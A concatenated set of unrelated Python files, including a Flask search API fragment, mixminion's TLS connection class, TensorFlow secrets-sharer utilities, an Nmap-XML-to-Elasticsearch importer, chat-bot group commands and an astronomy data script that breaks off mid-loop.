'targetCity': searchingTasks[searchId].targetCity,
'date': searchingTasks[searchId].date
}
return Response(json.dumps(search), status=200, mimetype='application/json')
except KeyError:
return Response(status=404)
@app.route('/search', methods=['GET'])
def getSearches():
searches = []
for searchId in searchingTasks:
returnData.append({
'searchId': searchId,
'sourceCity': searchingTasks[searchId].sourceCity,
'targetCity': searchingTasks[searchId].targetCity,
'date': searchingTasks[searchId].date
})
return Response(json.dumps(searches), status=200, mimetype='application/json')
@app.route('/search/<int:searchId>', methods=['DELETE'])
def deleteSearch(searchId):
global searchingTasks
try:
searchingTasks[searchId].stop()
searchingTasks.pop(searchId)
return Response(status=204)
except KeyError:
return Response(status=404)
@app.route('/search', methods=['DELETE'])
def deleteSearches():
global searchingTasks
for searchId in searchingTasks:
searchingTasks[searchId].stop()
searchingTasks.pop(searchId)
return Response(status=204)
@app.route('/search', methods=['POST'])
def createSearch():
global searchingTasks
data = request.get_json()
try:
searchingTasks[int(data['userId'])] = Search(
searchData=data,
userToNotify=data['userId'],
userAgentParser=userAgentParser,
proxyParser=proxyParser
)
searchingTasks[int(data['userId'])].start()
except KeyError:
return Response(status=400)
return Response(status=201)
| python |
def add_native_methods(clazz):
def getVMTemporaryDirectory____():
raise NotImplementedError()
clazz.getVMTemporaryDirectory____ = staticmethod(getVMTemporaryDirectory____)
| python |
# Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Generate random sequences."""
import dataclasses
import itertools
import string
from typing import Any, Dict, MutableSequence, Sequence
import numpy as np
def generate_random_sequences(vocab: Sequence[str],
pattern: str,
n: int,
seed: int = 1) -> MutableSequence[str]:
"""Generates random sequences.
Args:
vocab: the vocabulary for the sequences
pattern: the pattern of the sequence. The length of the sequence will be
inferred from the pattern.
n: number of sequences to generate
seed: random seed for numpy.random
Returns:
A sequence of different random sequences from the given vocabulary
"""
def count_placeholder(pattern):
return sum([x[1] is not None for x in string.Formatter().parse(pattern)])
length = count_placeholder(pattern)
rng = np.random.RandomState(seed)
vocab_size = len(vocab)
if vocab_size**length <= n:
# Generate all possible sequences of the length
seq = np.array(list(itertools.product(vocab, repeat=length)))
if vocab_size**length < n:
print(f'The total number of random sequences is less than n={n}.',
f'Will return {vocab_size**length} sequences only.')
n = vocab_size**length
else:
# Generate idx where each row contains the indices for one random sequence
idx = np.empty((0, length), dtype=int)
while idx.shape[0] < n:
# Generate a new set of indices
idx_new = rng.randint(vocab_size, size=(n, length))
idx = np.concatenate([idx, idx_new], axis=0) # Add to existing indices
idx = np.unique(idx, axis=0) # Remove duplicated indices
idx = idx[:n]
seq = np.array(vocab)[idx]
# Join each row to get the sequence
seq = np.apply_along_axis(lambda x: pattern.format(*list(x)), 1, seq)
seq = seq[rng.permutation(n)]
return list(seq)
@dataclasses.dataclass
class TextSecretProperties:
"""Properties of text secret.
vocab: the vocabulary for the secrets
pattern: the pattern of the secrets
"""
vocab: Sequence[str]
pattern: str
@dataclasses.dataclass
class SecretConfig:
"""Configuration of secret for secrets sharer.
num_repetitions: numbers of repetitions for the secrets
num_secrets_for_repetitions: numbers of secrets to be used for each
number of repetitions
num_references: number of references sequences, i.e. random sequences that
will not be inserted into training data
name: name that identifies the secrets set
properties: any properties of the secret, e.g. the vocabulary, the pattern
"""
num_repetitions: Sequence[int]
num_secrets_for_repetitions: Sequence[int]
num_references: int
name: str = ''
properties: Any = None
@dataclasses.dataclass
class SecretsSet:
"""A secrets set for secrets sharer.
config: configuration of the secrets
secrets: a dictionary, key is the number of repetitions, value is a sequence
of different secrets
references: a sequence of references
"""
config: SecretConfig
secrets: Dict[int, Sequence[Any]]
references: Sequence[Any]
def construct_secret(secret_config: SecretConfig,
seqs: Sequence[Any]) -> SecretsSet:
"""Constructs a SecretsSet instance given a sequence of samples.
Args:
secret_config: configuration of secret.
seqs: a sequence of samples that will be used for secrets and references.
Returns:
a SecretsSet instance.
"""
if len(seqs) < sum(
secret_config.num_secrets_for_repetitions) + secret_config.num_references:
raise ValueError('seqs does not contain enough elements.')
secrets = {}
i = 0
for num_repetition, num_secrets in zip(
secret_config.num_repetitions, secret_config.num_secrets_for_repetitions):
secrets[num_repetition] = seqs[i:i + num_secrets]
i += num_secrets
return SecretsSet(
config=secret_config,
secrets=secrets,
references=seqs[-secret_config.num_references:])
def generate_text_secrets_and_references(
secret_configs: Sequence[SecretConfig],
seed: int = 0) -> MutableSequence[SecretsSet]:
"""Generates a sequence of text secret sets given a sequence of configurations.
Args:
secret_configs: a sequence of text secret configurations.
seed: random seed.
Returns:
A sequence of SecretsSet instances.
"""
secrets_sets = []
for i, secret_config in enumerate(secret_configs):
n = secret_config.num_references + sum(
secret_config.num_secrets_for_repetitions)
seqs = generate_random_sequences(secret_config.properties.vocab,
secret_config.properties.pattern, n,
seed + i)
if len(seqs) < n:
raise ValueError(
f'generate_random_sequences was not able to generate {n} sequences. Need to increase vocabulary.'
)
secrets_sets.append(construct_secret(secret_config, seqs))
return secrets_sets
def construct_secret_dataset(
secrets_sets: Sequence[SecretsSet]) -> MutableSequence[Any]:
"""Repeats secrets for the required number of times to get a secret dataset.
Args:
secrets_sets: a sequence of secert sets.
Returns:
A sequence of samples.
"""
secrets_dataset = []
for secrets_set in secrets_sets:
for r, seqs in secrets_set.secrets.items():
secrets_dataset += list(seqs) * r
return secrets_dataset
| python |
import sys
n, k, s = map(int, sys.stdin.readline().split())
def main():
m = 10 ** 9
a = [None] * n
for i in range(k):
a[i] = s
for i in range(k, n):
if s < m:
a[i] = m
else:
a[i] = 1
return a
if __name__ == '__main__':
ans = main()
print(ans)
| python |
# Copyright 2002-2011 Nick Mathewson. See LICENSE for licensing information.
"""mixminion.TLSConnection
Generic functions for wrapping bidirectional asynchronous TLS connections.
"""
#XXXX implement renegotiate
import sys
import time
import mixminion._minionlib as _ml
from mixminion.Common import LOG, stringContains
# Number of bytes to try reading at once.
_READLEN = 1024
class _Closing(Exception):
"""Helper class: exception raised by state functions that want the
TLS connection to be closed."""
pass
class TLSConnection:
"""Common abstract class to implement asynchronous bidirectional
TLS connections. This is still not a completely generic TLS
class--it's designed to be simple enough to implement MMTP properly,
and nothing more.
Conceptually, a TLSConnection wraps a _minionlib.TLS object, and
transitions between a number of logical states. These states
are: 'handshaking', 'exchanging data', 'shutting down',
and 'closed.' State transitions are either expliticly initiated
by invocation of the class's control functions, or caused by the
class itself based on errors or network events.
"""
## Fields:
# sock -- the underlying socket.socket object.
# tls -- an instance of mixminion._minionlib.TLSConnection, wrapping
# self.sock.
# address -- the name of the host on the other side; used in log
# messages.
# wantRead, wantWrite -- flags: is this connection interested in read/write
# events on self.sock? (As a special case, if wantWrite is 2, we're
# currently waiting for socket.connect.)
# lastActivity -- When did this connection last get any activity?
#
# inbuf -- a list of strings received from self.tls
# inbuflen -- the total length of the strings in self.inbuf
# outbuf -- a list of strings to write to self.tls
# outbuflen -- the total length of the strings in self.outbuf
#
# __setup -- have we finished the TLS handshake.
# __stateFn -- a function that should be invoked when this connection
# receives a read/write event. One of __connectFn, __acceptFn,
# __dataFn, __shutdownFn.
# __reading -- flag: are we trying to read bytes from self.tls?
# __awaitingShutdown -- flag: have we already called shutdown once?
# __bytesReadOnShutdown -- the number of bytes we've received since
# the first time we called shutdown.
# __readBlockedOnWrite, __writeBlockedOnRead -- flags: has a read/write
# operation blocked on the opposite event type?
# __blockedWriteLen -- if the last call to 'write' blocked, how much
# did we try to write? (OpenSSL requires that we retry using exactly
# the same length as the time before.) 0 if the last write was
# successful.
def __init__(self, tls, sock, address):
"""Create a new TLSConnection."""
self.tls = tls
self.sock = sock
self.address = address
self.wantRead = self.wantWrite = 0
self.lastActivity = time.time()
self.__stateFn = None
self.__setup = 0
self.__reading = 0
self.__blockedWriteLen = 0
self.inbuf = []
self.inbuflen = 0
self.outbuf = []
self.outbuflen = 0
self.__awaitingShutdown = 0
self.__bytesReadOnShutdown = 0
self.__readBlockedOnWrite = 0
self.__writeBlockedOnRead = 0
#####
# Control functions
#####
def fileno(self):
"""Return the fd underlying this connection."""
return self.sock.fileno()
def beginConnecting(self):
"""Start connecting to a remote server. This method should be invoked
after self.sock.connect has first been called. When the tls
connection is done handshaking, onConnected will be invoked."""
self.__stateFn = self.__connectFn
self.wantRead = 0
# We special-case wantWrite here because Win32 treats connects as
# exceptions, but everybody else treats them as writes.
self.wantWrite = 2
self.__setup = 0
def beginAccepting(self):
"""Start TLS handshaking with a remote client. When the tls connection
is done handshaking, onConnected will be invoked."""
self.__stateFn = self.__acceptFn
self.wantRead = 1
self.wantWrite = 0
self.__setup = 0
def beginReading(self):
"""Start reading bytes from self.tls; when any are received, they
are added to self.tls and onRead is invoked."""
self.__reading = 1
self.__stateFn = self.__dataFn
if not self.__readBlockedOnWrite:
self.wantRead = 1
def stopReading(self):
"""Stop reading bytes from self.tls."""
assert self.__stateFn == self.__dataFn
self.__readBlockedOnWrite = 0
if not self.__writeBlockedOnRead:
self.wantRead = 0
self.__reading = 0
def beginWriting(self, data):
"""Queue 'data' to be written to self.tls. When any is written,
onWrite is invoked."""
self.__stateFn = self.__dataFn
self.outbuf.append(data)
self.outbuflen += len(data)
if not self.__writeBlockedOnRead:
self.wantWrite = 1
def stopWriting(self):
"""Stop writing data to self.tls; clear any currently pending data."""
self.__stateFn = self.__dataFn
self.outbuf = []
self.outbuflen = 0
self.__writeBlockedOnRead = 0
if not self.__readBlockedOnWrite:
self.wantWrite = 0
def startShutdown(self):
"""Start shutting down the TLS connection; clear any data we're
currently waiting to write. When we're done, onShutdown is
invoked."""
self.__stateFn = self.__shutdownFn
self.outbuf = []
self.outbuflen = 0
self.__reading = 0
self.__writeBlockedOnRead = self.__readBlockedOnWrite = 0
self.wantRead = self.wantWrite = 1
def tryTimeout(self, cutoff):
"""Close self.sock if the last activity on this connection was
before 'cutoff'. Returns true iff the connection is timed out.
"""
if self.lastActivity <= cutoff:
LOG.warn("Connection to %s timed out: %.2f seconds without activity",
self.address, time.time()-self.lastActivity)
self.onTimeout()
self.__close()
return 1
return 0
def getInbuf(self, maxBytes=None, clear=0):
"""Return up to 'maxBytes' bytes from the front of the input buffer.
If 'maxBytes' is not provided, return a string containing the
entire input buffer. If 'clear' is true, remove the bytes from
the input buffer.
"""
if maxBytes is None or maxBytes >= self.inbuflen:
# We're returning the entire input buffer.
if len(self.inbuf) > 1:
self.inbuf = [ "".join(self.inbuf) ]
elif len(self.inbuf) == 0:
return ""
r = self.inbuf[0]
if clear:
del self.inbuf[:]
self.inbuflen = 0
return r
else:
# maxBytes < self.inbuflen; There are more bytes than we
# asked for.
n = 0
ln = 0
while 1:
# Expand until self.inbuf[:n] is ln bytes long, and
# ln is long enough to return maxBytes bytes.
ln += len(self.inbuf[n])
n += 1
if ln >= maxBytes:
self.inbuf[:n] = [ "".join(self.inbuf[:n]) ]
assert len(self.inbuf[0]) == ln
r = self.inbuf[0][:maxBytes]
if clear:
if ln > maxBytes:
self.inbuf[0] = self.inbuf[0][maxBytes:]
else:
del self.inbuf[0]
self.inbuflen -= maxBytes
return r
raise AssertionError # unreached; appease pychecker
def getInbufLine(self, maxBytes=None, terminator="\r\n", clear=0,
allowExtra=0):
"""Return the first prefix of the current inbuf that ends with the
'terminator' string.
Returns the string on success, None if no such string is
found, and -1 on error. Errors occur when: there are 'maxBytes'
bytes available but the terminator is not found; or when
'allowExtra' is false and there is data on the input buffer
following the terminator."""
s = self.getInbuf(maxBytes)
idx = s.find(terminator)
if idx < 0:
if len(s) == maxBytes:
LOG.warn("Too much data without EOL from %s",self.address)
return -1
else:
return None
if not allowExtra and idx+len(terminator) < self.inbuflen:
LOG.warn("Trailing data after EOL from %s",self.address)
return -1
return self.getInbuf(idx+len(terminator), clear=clear)
def clearInbuf(self):
"""Remove all pending data from the input buffer."""
del self.inbuf[:]
self.inbuflen = 0
def isShutdown(self):
"""Return true iff this TLSConnection has been completely shut down,
and the underlying socket has been closed."""
return self.sock is None
#####
# Implementation
#####
def __close(self, gotClose=0):
"""helper: close the underlying socket without cleaning up the TLS
connection."""
if gotClose:
if self.__stateFn == self.__connectFn:
LOG.warn("Couldn't connect to %s",self.address)
else:
LOG.warn("Unexpectedly closed connection to %s", self.address)
self.onTLSError()
self.sock.close()
self.sock = None
self.tls = None
self.__stateFn = self.__closedFn
self.onClosed()
def __connectFn(self, r, w, cap):
"""state function: client-side TLS handshaking"""
self.tls.connect() # might raise TLS*
self.__setup = 1
self.onConnected()
return 1 # We may be ready for the next state.
def __acceptFn(self, r, w, cap):
"""state function: server-side TLS handshaking"""
self.tls.accept() # might raise TLS*
self.__setup = 1
self.onConnected()
return 1 # We may be ready for the next state.
def __shutdownFn(self, r, w, cap):
"""state function: TLS shutdonw"""
while 1:
if self.__awaitingShutdown:
# We've already sent a 'shutdown' once. Read until we
# get another shutdown, or until we get enough data to
# give up.
s = "x"
while s != 0:
#XXXX007 respect cap.
s = self.tls.read(_READLEN) # might raise TLSWant*
if s == 0:
LOG.debug("Read returned 0; shutdown to %s done",
self.address)
else:
self.__bytesReadOnShutdown += len(s)
if self.__bytesReadOnShutdown > 128:
self.__readTooMuch()
return 0
done = self.tls.shutdown()
if not done and self.__awaitingShutdown:
# This should neer actually happen, but let's cover the
# possibility.
LOG.error("Shutdown returned zero twice from %s--bailing",
self.address)
done = 1
if done:
LOG.debug("Got a completed shutdown from %s", self.address)
self.shutdownFinished()
raise _Closing()
else:
LOG.trace("Shutdown returned zero -- entering read mode.")
self.__awaitingShutdown = 1
self.__bytesReadOnShutdown = 0
self.wantRead = 1
return 1
raise AssertionError() # unreached; appease pychecker
def __closedFn(self,r,w, cap):
"""state function: called when the connection is closed"""
self.__sock = None
return 0
def __readTooMuch(self):
"""Helper function -- called if we read too much data while we're
shutting down."""
LOG.error("Read over 128 bytes of unexpected data from closing "
"connection to %s", self.address)
self.onTLSError()
raise _Closing()
def __dataFn(self, r, w, cap):
"""state function: read or write data as appropriate"""
if r:
if self.__writeBlockedOnRead:
cap = self.__doWrite(cap)
if self.__reading and not self.__writeBlockedOnRead:
cap = self.__doRead(cap)
if w:
if self.__reading and self.__readBlockedOnWrite:
cap = self.__doRead(cap)
if self.outbuf and not self.__readBlockedOnWrite:
cap = self.__doWrite(cap)
return 0
def __doWrite(self, cap):
"Helper function: write as much data from self.outbuf as we can."
self.__writeBlockedOnRead = 0
while self.outbuf and cap > 0:
if self.__blockedWriteLen:
# If the last write blocked, we must retry the exact same
# length, or else OpenSSL will give an error.
span = self.__blockedWriteLen
else:
# Otherwise, we try to write as much of the first string on
# the output buffer as our bandwidth cap will allow.
span = min(len(self.outbuf[0]),cap)
try:
n = self.tls.write(self.outbuf[0][:span])
except _ml.TLSWantRead:
self.__blockedWriteLen = span
self.__writeBlockedOnRead = 1
self.wantWrite = 0
self.wantRead = 1
return cap
except _ml.TLSWantWrite:
self.__blockedWriteLen = span
self.wantWrite = 1
return cap
else:
# We wrote some data: remove it from the buffer.
assert n >= 0
self.__blockedWriteLen = 0
LOG.trace("Wrote %s bytes to %s", n, self.address)
if n == len(self.outbuf[0]):
del self.outbuf[0]
else:
self.outbuf[0] = self.outbuf[0][n:]
self.outbuflen -= n
cap -= n
self.onWrite(n)
if not self.outbuf:
# There's no more data to write. We only want write events now if
# read is blocking on write.
self.wantWrite = self.__readBlockedOnWrite
self.doneWriting()
return cap
def __doRead(self, cap):
"Helper function: read as much data as we can."
self.__readBlockedOnWrite = 0
# Keep reading until we decide to stop or run out of bandwidth
# (or break because we [1] need to wait for network events or
# [2] we get a shutdown.)
while self.__reading and cap > 0:
try:
s = self.tls.read(min(_READLEN,cap))
if s == 0:
# The other side sent us a shutdown; we'll shutdown too.
self.receivedShutdown()
LOG.trace("read returned 0: shutting down connection to %s"
, self.address)
self.startShutdown()
break
else:
# We got some data; add it to the inbuf.
LOG.trace("Read got %s bytes from %s",len(s), self.address)
self.inbuf.append(s)
self.inbuflen += len(s)
cap -= len(s)
if (not self.tls.pending()) and cap > 0:
# Only call onRead when we've got all the pending
# data from self.tls, or we've just run out of
# allocated bandwidth.
self.onRead()
except _ml.TLSWantRead:
self.wantRead = 1
break
except _ml.TLSWantWrite:
self.wantRead = 0
self.wantWrite = 1
self.__readBlockedOnWrite = 1
break
return cap
def process(self, r, w, x, maxBytes=None):
"""Given that we've received read/write events as indicated in r/w,
advance the state of the connection as much as possible, but try to
use no more than 'maxBytes' bytes of bandwidth. Return
is as in 'getStatus', with an extra 'bandwidth used' field
appended."""
if x and (self.sock is not None):
self.__close(gotClose=1)
return 0,0,0,0
if not (r or w):
return self.wantRead, self.wantWrite, (self.sock is not None),0
bytesAtStart = bytesNow = self.tls.get_num_bytes_raw()
if maxBytes is None:
bytesCutoff = sys.maxint
maxBytes = sys.maxint-bytesNow
else:
bytesCutoff = bytesNow+maxBytes
try:
self.lastActivity = time.time()
while bytesNow < bytesCutoff and self.__stateFn(r, w, maxBytes):
# If __stateFn returns 1, then the state has changed, and
# we should try __stateFn again.
if self.tls is not None:
bytesNow = self.tls.get_num_bytes_raw()
maxBytes = bytesCutoff-bytesNow
except _ml.TLSWantRead:
self.wantRead = 1
self.wantWrite = 0
except _ml.TLSWantWrite:
self.wantRead = 0
if self.__stateFn == self.__connectFn:
self.wantWrite = 2
else:
self.wantWrite = 1
except _Closing:
# state functions that want to close the connection should
# raise '_Closing', so we can count the bytes used before we
# call 'close'.
if self.tls is not None:
bytesNow = self.tls.get_num_bytes_raw()
self.__close()
except _ml.TLSClosed:
# We get this error if the socket unexpectedly closes underneath
# the TLS connection.
self.__close(gotClose=1)
except _ml.TLSError, e:
if self.tls is not None:
bytesNow = self.tls.get_num_bytes_raw()
if not (self.__awaitingShutdown or self.__stateFn == self.__shutdownFn):
e = str(e)
if stringContains(e, 'wrong version number'):
e = 'wrong version number (or failed handshake)'
LOG.warn("Unexpected TLS error: %s. Closing connection to %s",
e, self.address)
self.onTLSError()
self.startShutdown()
else:
LOG.warn("Error while shutting down: closing connection to %s",
self.address)
self.onTLSError()
self.__close()
return (self.wantRead, self.wantWrite, (self.sock is not None),
bytesNow-bytesAtStart)
def getStatus(self):
"""Return a 3-tuple of wantRead, wantWrite, and isOpen."""
return self.wantRead, self.wantWrite, (self.sock is not None)
#####
# HOOKS
#####
def onConnected(self):
"""Called when we're done negotiating a TLS connection with the
other side."""
raise NotImplemented()
def onWrite(self, nBytes):
"""Called when n bytes have been written from the output buffer."""
raise NotImplemented()
def onRead(self):
"""Called when new data is available on the input buffer"""
raise NotImplemented()
def onTLSError(self):
"""Called when we get an error on the connection."""
raise NotImplemented()
def onTimeout(self):
"""Called when the connection gets timed out."""
raise NotImplemented()
def onClosed(self):
"""Called when the underlying socket is closed."""
raise NotImplemented()
def doneWriting(self):
"""Called when we have written all the data pending on the output
buffer"""
raise NotImplemented()
def receivedShutdown(self):
"""Called when the other side has requested a shutdown."""
raise NotImplemented()
def shutdownFinished(self):
"""Called when a shutdown operation has finished."""
raise NotImplemented()
| python |
# ========================================================================================
# The code below has been adapted and tailored for this project.
# The original version can be found at: https://github.com/ChrisRimondi/VulntoES
# ========================================================================================
from elasticsearch import Elasticsearch
import sys
import re
import json
import time
import getopt
import xml.etree.ElementTree as xml
class NmapES:
"This class will parse an Nmap XML file and send data to Elasticsearch"
def __init__(self, input_file,es_ip,es_port,index_name):
self.input_file = input_file
self.tree = self.__importXML()
self.root = self.tree.getroot()
self.es = Elasticsearch([{'host':es_ip,'port':es_port}])
self.index_name = index_name
def displayInputFileName(self):
print(self.input_file)
def __importXML(self):
# Parse XML directly from the file path
return xml.parse(self.input_file)
def toES(self):
"Returns a list of dictionaries (only for open ports) for each host in the report"
for h in self.root.iter('host'):
dict_item = {}
dict_item['scanner'] = 'nmap'
if h.tag == 'host':
if 'endtime' in h.attrib and h.attrib['endtime']:
dict_item['time'] = time.strftime('%Y/%m/%d %H:%M:%S', time.gmtime(float(h.attrib['endtime'])))
for c in h:
if c.tag == 'address':
if c.attrib['addr'] and c.attrib['addrtype'] == 'ipv4':
dict_item['ip'] = c.attrib['addr']
if c.attrib['addr'] and c.attrib['addrtype'] == 'mac':
dict_item['mac'] = c.attrib['addr']
elif c.tag == 'hostnames':
for names in c.getchildren():
if names.attrib['name']:
dict_item['hostname'] = names.attrib['name']
elif c.tag == 'ports':
for port in c.getchildren():
dict_item_ports = {}
if port.tag == 'port':
# print(port.tag, port.attrib)
dict_item_ports['port'] = port.attrib['portid']
dict_item_ports['protocol'] = port.attrib['protocol']
for p in port.getchildren():
if p.tag == 'state':
dict_item_ports['state'] = p.attrib['state']
elif p.tag == 'service':
dict_item_ports['service'] = p.attrib['name']
if 'product' in p.attrib and p.attrib['product']:
dict_item_ports['product_name'] = p.attrib['product']
if 'version' in p.attrib and p.attrib['version']:
dict_item_ports['product_version'] = p.attrib['version']
if 'banner' in p.attrib and p.attrib['banner']:
dict_item_ports['banner'] = p.attrib['banner']
elif p.tag == 'script':
if p.attrib['id']:
if p.attrib['output']:
if 'scripts' in dict_item_ports:
dict_item_ports['scripts'][p.attrib['id']] = p.attrib['output']
else:
dict_item_ports['scripts'] = dict()
dict_item_ports['scripts'][p.attrib['id']] = p.attrib['output']
to_upload = merge_two_dicts(dict_item, dict_item_ports)
if to_upload['state'] == 'open':
self.es.index(index=self.index_name, doc_type="vuln", body=json.dumps(to_upload))
def merge_two_dicts(x, y):
z = x.copy() # start with x's keys and values
z.update(y) # modifies z with y's keys and values & returns None
return z
def usage():
print("Usage: VulntoES.py [-i input_file | input_file=input_file] [-e elasticsearch_ip | es_ip=es_ip_address] [-p elasticsearch_port | es_port=es_server_port] [-I index_name] [-r report_type | --report_type=type] [-s name=value] [-h | --help]")
def main():
letters = 'i:I:e:p:r:s:h' #input_file, index_name es_ip_address, report_type, create_sql, create_xml, help
keywords = ['input-file=', 'index_name=', 'es_ip=','es_port=','report_type=', 'static=', 'help' ]
try:
opts, extraparams = getopt.getopt(sys.argv[1:], letters, keywords)
except getopt.GetoptError as err:
print(str(err))
usage()
sys.exit()
in_file = ''
es_ip = ''
es_port = 9200
report_type = ''
index_name = ''
static_fields = dict()
for o,p in opts:
if o in ['-i','--input-file=']:
in_file = p
elif o in ['-r', '--report_type=']:
report_type = p
elif o in ['-e', '--es_ip=']:
es_ip=p
elif o in ['-p', '--es_port=']:
es_port=p
elif o in ['-I', '--index_name=']:
index_name=p
elif o in ['-s', '--static']:
name, value = p.split("=", 1)
static_fields[name] = value
elif o in ['-h', '--help']:
usage()
sys.exit()
if (len(sys.argv) < 1):
usage()
sys.exit()
try:
with open(in_file) as f: pass
except IOError as e:
print("Input file does not exist. Exiting.")
sys.exit()
if report_type.lower() == 'nmap':
print("Sending Nmap data to Elasticsearch")
np = NmapES(in_file,es_ip,es_port,index_name)
np.toES()
else:
print("Error: Invalid report type specified. Available options: nmap")
sys.exit()
if __name__ == "__main__":
main()
| python |
from prime.bot.command import Command
from prime.bot.decorators import arg, reply_with_exception
from prime.bot.exceptions import InvalidEntity
from prime.bot.constants import ADMIN_GROUP
usermod = Command.create(
'usermod',
description='Adds/Removes user(s) to/from group.'
)
@usermod.register
@arg('-g', '--group', required=True, type=str.lower,
help='Group to add user(s) to or remove from.')
@arg('-r', '--remove', action='store_true', default=False,
help='Remove users from group instead.')
@arg('users', help='Users to add to (or remove from) group.', nargs='+')
@reply_with_exception
def usermod_handler(command, query, args):
if not command.bot.can_modify_group(query.user, args.group):
query.reply('Only administrators or group members may do that.')
return
handler = (
command.bot.add_user_to_group
if not args.remove else
command.bot.remove_user_from_group
)
added_or_removed = [
user for user in args.users
if handler(user, args.group)
]
if added_or_removed:
query.reply(
'The following users have '
'been successfully {0} group "{1}": {2}'.format(
'removed from' if args.remove else 'added to',
args.group.lower(),
', '.join(added_or_removed)
)
)
usergroups = Command.create(
'usergroups',
user_groups=(ADMIN_GROUP,),
description='Lists user groups.'
)
def get_user_groups(command, user):
for i in command.bot.list_user_groups(user):
yield '{0}: {1}'.format(i[0], ','.join(i[1]))
def list_group_users(command, query, group):
users = list(command.bot.users_in_groups(group))
if users:
query.reply_within_block('{0}: {1}'.format(group, ','.join(users)))
else:
query.reply('No group users found.')
@usergroups.register
@reply_with_exception
@arg('-g', '--group', help='Only list users in this group.')
@arg('-u', '--user', help='Only list groups for this user.')
def usergroups_handler(command, query, args):
if args.group is not None:
return list_group_users(command, query, args.group)
groups = list(get_user_groups(command, args.user))
if groups:
query.reply_within_block('\n'.join(groups))
else:
query.reply('No user groups found.')
groups = Command.create(
'groups',
description='Lists groups that you are a part of.'
)
@groups.register
def groups_handler(command, query, args):
try:
_, groups = next(command.bot.list_user_groups(query.user))
if groups:
query.reply('You are in the following groups:\n{0}'.format(
', '.join(groups)))
except StopIteration:
query.reply('You are currently not in any group.')
| python |
# -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.15.2)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
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qt_version = [int(v) for v in QtCore.qVersion().split('.')]
if qt_version < [5, 8, 0]:
rcc_version = 1
qt_resource_struct = qt_resource_struct_v1
else:
rcc_version = 2
qt_resource_struct = qt_resource_struct_v2
def qInitResources():
QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| python |
'''
Created on 18 Jan 2013
@author: Kieran Finn
'''
import time
beginning=time.time()
import urllib2
import sys
import json
from functions import *
import time
import pickle
from math import pi
from scipy.integrate import quad
import numpy as np
from collections import defaultdict
import os
in_fname='interesting_detailed.csv'
out_fname='planet_specific.csv'
rad_fname='radius_data.csv'
data_folder='/Users/kieranfinn/Documents/ph-stars/'
data_folder='D:/Documents/Planet_hunters/ph-stars/'
required_radius=[0.05,1]
required_mass=[0.0004,1]
dont_use='DO NOT USE'
def open_url(url):
N=3
n=0
while n<N:
try:
return urllib2.urlopen(url)
except:
n+=1
return False
def read_url(url):
fname=data_folder+url.split('/')[-1]
if not os.path.isfile(fname) or os.path.getsize(fname)==0:
print '\n%s not downloaded' %fname
try:
f=open_url(url)
g=open(fname,'w')
g.write(f.read())
g.close()
f.close()
except:
print 'Problem with url %s' %url
return []
f=open(fname,'r')
r=f.read()
f.close()
try:
if r[0]=='l':
r=r[17:].rstrip('\n;)') #there is a problem with some of the json files for the data. need to strip some of the header
except:
print url
print fname
print r
try:
out=json.loads(r)
except:
print 'error reading json file'
print r[:100]+'...'+r[-100:]
sys.exit()
try:
out=out['data']#gets rid of meta data if there
except:
pass
return out
def get_sources(fname):
radii={}
urls={}
f=open(fname,'r')
r=f.readlines()
f.close()
for line in r:
i,url,rad=line.split(',')
rad=float(rad)
urls[i]=url.strip('"')
radii[i]=rad
out=(radii,urls)
return out
def get_data_points(x,y,height,width,data):
out=[]
indices=[]
for i in range(len(data)):
if x<data[i]['x']<(x+width) and y<data[i]['y']<(y+height):
indices.append(i)
out.append(data[i])
if len(indices)!=0:
indices=range(min(indices),max(indices)+1)
return [out,indices]
def refine_indices(indices,length):
min_length=200#minimum number of points required to set ambient light
if len(indices)>min_length:
return indices
low=min(indices)
high=max(indices)+1
to_add=min_length-len(indices)
front=range(low-(int(to_add/2)+1),low)
back=range(high,high+int(to_add/2)+1)
while len(front)!=0 and front[0]<0:#ensures data doesn't go out of range
del front[0]
back.append(back[-1]+1)
while len(back)!=0 and back[-1]>=length:
del back[-1]
front=[front[0]-1]+front
return front+indices+back
def get_rad(rad,x,y,height,width,data):
points,indices=get_data_points(x,y,height,width,data)
if len(points)==0:
return 0
mn=np.inf
for point in points:
if point['y']<mn:
transit_x,transit_y=point['x'],point['y']#x and y coords of bottom transit
indices=refine_indices(indices,len(data))
x=[]
y=[]
for i in indices:
x.append(data[i]['x'])
y.append(data[i]['y'])
m,c=np.polyfit(x,y,1)#fit a line to the ambient data
depth=m*transit_x+c-transit_y
if depth>0:
return rad*(depth**0.5)
else:
return 0
'''def get_score(depth,dy,rad):#this will need to be changed, probably to represent some kind of bayseian probability
f=lambda x: (1.0/(((2*pi)**0.5)*dy))*np.exp(-((x-depth)**2)/(2*dy**2))#gaussian
a,b=[(i/rad)**2 for i in required_radius]
score=quad(f,a,b)
if score>0.5:
out='2'
elif score>0.05:
out='1'
else:
out='0'
return out'''
def get_label(mass,label):
mass=mass.strip('"')
if mass=='Null':
return label
try:
mass=float(mass)
except ValueError:
return label
if required_mass[0]<mass<required_mass[1]:
return 'jupiter'
else:
return label
data=defaultdict(lambda: defaultdict(list))
f=open(in_fname,'r')
source_radii={}
nlines=0
for line in f:
nlines+=1
words=line.split(',')#this line may need to be changed if the data is in another format (extension, make more general)
source,user,rad=words[:3]
data[source][user].append(words[3:])
source_radii[source]=float(rad)
f.close()
f=open(out_fname,'w')
g=open(rad_fname,'w')
count=0
for source in data.keys():
radius=source_radii[source]
for user in data[source].keys():
if source_radii[source]=='"NULL"' or source_radii[source]==0:#we don't have enough data for this star so we won't use it
count+=len(data[source][user])
continue
rad=[]
for line in data[source][user]:
if count%10==0:
overprint('Processing line %s of %s' %(add_comma(count),add_comma(nlines)))
count+=1
answer,label,planet_mass,url,x,y,height,width=line
if answer=='11':
source_data=read_url(url.strip('"'))
temp_rad=get_rad(source_radii[source],float(x),float(y),float(height),float(width),source_data)
